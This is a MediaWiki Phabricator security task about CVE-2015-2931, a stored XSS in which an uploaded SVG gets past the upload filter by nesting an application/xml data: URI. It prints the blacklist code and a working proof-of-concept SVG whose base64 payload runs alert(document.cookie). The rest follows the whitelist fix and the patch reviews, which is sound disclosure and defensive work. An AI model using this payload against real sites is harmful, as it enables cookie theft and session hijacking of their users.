Page MenuHomePhabricator

Stored XSS in SVG via embedded SVG
Closed, ResolvedPublic

Assigned To
Authored By
csteipp
Jan 5 2015, 8:46 PM
Referenced Files
F103732: T85850-combined-REL1_19.patch
Mar 24 2015, 8:08 PM
F103731: T85850-combined-REL1_23.patch
Mar 24 2015, 8:08 PM
F99664: T85850-combined.patch
Mar 18 2015, 1:08 AM
F40563: t85850-whitelist3.patch
Feb 13 2015, 2:55 AM
F39125: t85850-whitelist2.patch
Feb 10 2015, 11:19 PM
F33000: t85850-whitelist.patch
Jan 29 2015, 9:56 PM
F28280: t85850.patch
Jan 13 2015, 1:05 AM

Description

FINDING ID: iSEC-WMF1214-11

DESCRIPTION: When uploading an SVG file, it is possible to bypass the validation filters and upload an
SVG file that executes JavaScript when rendered. The SVG validation is a blacklist-based approach and
contains protections against numerous techniques for embedding JavaScript in SVG files; however, the
protections against nested SVG files are inadequate due to a missing MIME type blacklist. Specifically,
data: URIs with the image/svg or text/xml formats are blacklisted, but the application/xml MIME
type is sufficient to create a nested SVG file with JavaScript code.

# /includes/upload/UploadBase.php
# href with embedded svg as target
if ($stripped == 'href' && preg_match( '!data:[^,]*image/svg[^,]*,!sim', $value)){
wfDebug( __METHOD__ . ": Found href to embedded svg "
. "\"<$strippedElement '$attrib'='$value '...\" in uploaded file.\n" );
return true;}
# href with embedded (text/xml) svg as target
if ( $stripped == 'href' && preg_match( '!data:[^,]*text/xml[^,]*,!sim', $value)){
wfDebug( __METHOD__ . ": Found href to embedded svg "
. "\"<$strippedElement '$attrib'='$value '...\" in uploaded file.\n" );
return true;}

Listing 1: Blacklist filtering for data: URIs with specific MIME types.

The following example SVG file contains a nested SVG file embedded within a data: URI. The nested
SVG file contains executable JavaScript.

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="data:application/xml;base64 ,
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5r
PSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KPGRlZnM+CjxjaXJjbGUgaWQ9InRlc3QiIHI9I
jUwIiBjeD0iMTAwIiBjeT0iMTAwIiBzdHlsZT0iZmlsbDogI0YwMCI+CjxzZXQgYXR0cmlidXRlTm
FtZT0iZmlsbCIgYXR0cmlidXRlVHlwZT0iQ1NTIiBvbmJlZ2luPSdhbGVydChkb2N1bWVudC5jb29r
aWUpJwpvbmVuZD0nYWxlcnQoIm9uZW5kIiknIHRvPSIjMDBGIiBiZWdpbj0iMXMiIGR1cj0iNXMiIC
8+CjwvY2lyY2xlPgo8L2RlZnM+Cjx1c2UgeGxpbms6aHJlZj0iI3Rlc3QiLz4KPC9zdmc+#test"/>
</svg>

Listing 2: Specially-crafted SVG file with a nested SVG file containing executable JavaScript code.

During testing, this exploit was only confirmed against the Firefox browser. Testing indicates that other
browsers do not support nested SVG files


Patch:

(based on top of patch for T85349, )

  • 1.24:
  • 1.23:
  • 1.19:

Affected Versions: (needed)
Type: xss
CVE: CVE-2015-2931

Event Timeline

csteipp raised the priority of this task from to Medium.
csteipp updated the task description. (Show Details)
csteipp changed the visibility from "Public (No Login Required)" to "acl*security (Project)".
csteipp changed the edit policy from "All Users" to "acl*security (Project)".
csteipp changed Security from None to Software security bug.
csteipp subscribed.
Restricted Application changed the visibility from "acl*security (Project)" to "Custom Policy". · View Herald TranscriptJan 5 2015, 8:46 PM
Restricted Application changed the edit policy from "acl*security (Project)" to "Custom Policy". · View Herald Transcript

This patch is based on top of @Parent5446's patch for T85349 (

)

Restricted Application changed the visibility from "Custom Policy" to "Custom Policy". · View Herald TranscriptJan 13 2015, 1:05 AM
Restricted Application changed the edit policy from "Custom Policy" to "Custom Policy". · View Herald Transcript
Restricted Application changed the visibility from "Custom Policy" to "Custom Policy". · View Herald TranscriptJan 13 2015, 1:07 AM
Restricted Application changed the edit policy from "Custom Policy" to "Custom Policy". · View Herald Transcript
Restricted Application changed the visibility from "Custom Policy" to "Custom Policy". · View Herald TranscriptJan 13 2015, 1:09 AM
Restricted Application changed the edit policy from "Custom Policy" to "Custom Policy". · View Herald Transcript
Restricted Application changed the visibility from "Custom Policy" to "Custom Policy". · View Herald Transcript
Restricted Application changed the edit policy from "Custom Policy" to "Custom Policy". · View Herald Transcript
Restricted Application changed the visibility from "Custom Policy" to "Custom Policy". · View Herald Transcript
Restricted Application changed the edit policy from "Custom Policy" to "Custom Policy". · View Herald Transcript

This does seem to address the vulnerability, so +1 if you need it.

Restricted Application changed the visibility from "Custom Policy" to "Custom Policy". · View Herald TranscriptJan 13 2015, 6:52 PM
Restricted Application changed the edit policy from "Custom Policy" to "Custom Policy". · View Herald Transcript

This is deployed, and all other work for it is done. This will be included in the 1.24.2 release.

Reopening this issue based on the report from cure53, who found a similar vector.

Cure53 agreed a whitelist of mime types would be more sufficient than attempting to blacklist anything that could be interpreted as an svg.

I parsed through my 27k svg images, and this is the complete list of href data url mime types:
data:;base64,
data:image/gif;base64,
data:image/jpeg;base64,
data:image/jpg;base64,
data:image/png;base64,

There were 28 with no mime type specified. They were a mix of b64 encoded image types (png and jpg). My inclination is to whitelist the image/(gif|jpeg|jpeg|png) mime types and reject images which don't specify a mime type, although that would reject more incoming images than I like.

New patch based on top of the other UploadBase.php patches. I tested against 22,000 commons images with master and this applied, and only the images with "data:;base64," were rejected, as expected.

This will need some community engagement to clarify, but I think it's an easy enough rule to add onto http://commons.wikimedia.org/wiki/Help:SVG.

Depending on how far we want to go with supporting attribute-value pairs in the regex, that ";[\w;]+" bit could be as complicated as this:

(?>;[a-zA-Z0-9!#$&\'*+.^_`{|}~-]+=(?>[a-zA-Z0-9!#$&\'*+.^_`{|}~-]+|"(?>[\0-\x0c\x0e-\x21\x23-\x5b\x5d-\x7f]+|\\[\0-\x7f])*"))*(?:;base64)?

(I've already included the necessary backslash-before-single-quote in there, BTW).

Updated with @Anomie's regex updates. In testing, it's about 10% slower than (;[\w;]+)*, but we then know it's well formed.

Oops, that actually needs to be \\\\[\0-\x7f] in there. Stupid backslashes.

I wonder whether preg_match( '!^data:!i', $value ) should be replaced by strncasecmp( 'data:', $value, 5 ) === 0. Regex against an anchored constant just seems wrong.

Updated to fix those things Brad pointed out. Thanks!

combined patches to simplify backporting

- whitespace differences in UploadBase
- typo fix, whitespace differences, and no unit tests for UploadBase

csteipp changed the visibility from "Custom Policy" to "Public (No Login Required)".Mar 31 2015, 9:16 PM
csteipp changed the edit policy from "Custom Policy" to "All Users".
csteipp changed Security from Software security bug to None.

Change 201012 had a related patch set uploaded (by CSteipp):
SECURITY: Don't allow embedded application/xml in SVG's

https://gerrit.wikimedia.org/r/201012

Change 201024 had a related patch set uploaded (by CSteipp):
SECURITY: Don't allow embedded application/xml in SVG's

https://gerrit.wikimedia.org/r/201024

Change 201034 had a related patch set uploaded (by CSteipp):
SECURITY: Don't allow embedded application/xml in SVG's

https://gerrit.wikimedia.org/r/201034

Change 201012 merged by jenkins-bot:
SECURITY: Don't allow embedded application/xml in SVG's

https://gerrit.wikimedia.org/r/201012

Change 201024 merged by jenkins-bot:
SECURITY: Don't allow embedded application/xml in SVG's

https://gerrit.wikimedia.org/r/201024

Change 201034 merged by jenkins-bot:
SECURITY: Don't allow embedded application/xml in SVG's

https://gerrit.wikimedia.org/r/201034

Change 201218 had a related patch set uploaded (by CSteipp):
SECURITY: Don't allow embedded application/xml in SVG's

https://gerrit.wikimedia.org/r/201218

Change 201218 merged by jenkins-bot:
SECURITY: Don't allow embedded application/xml in SVG's

https://gerrit.wikimedia.org/r/201218

Asasigned CVE-2015-2931

Use CVE-2015-2931 for this issue involving an incomplete list of

disallowed MIME types for data: URIs (the application/xml type wasn't
in this list). In other words, CVE-2015-2931 does not refer more
generally to the desirability of the "MIME types are now whitelisted"
decision.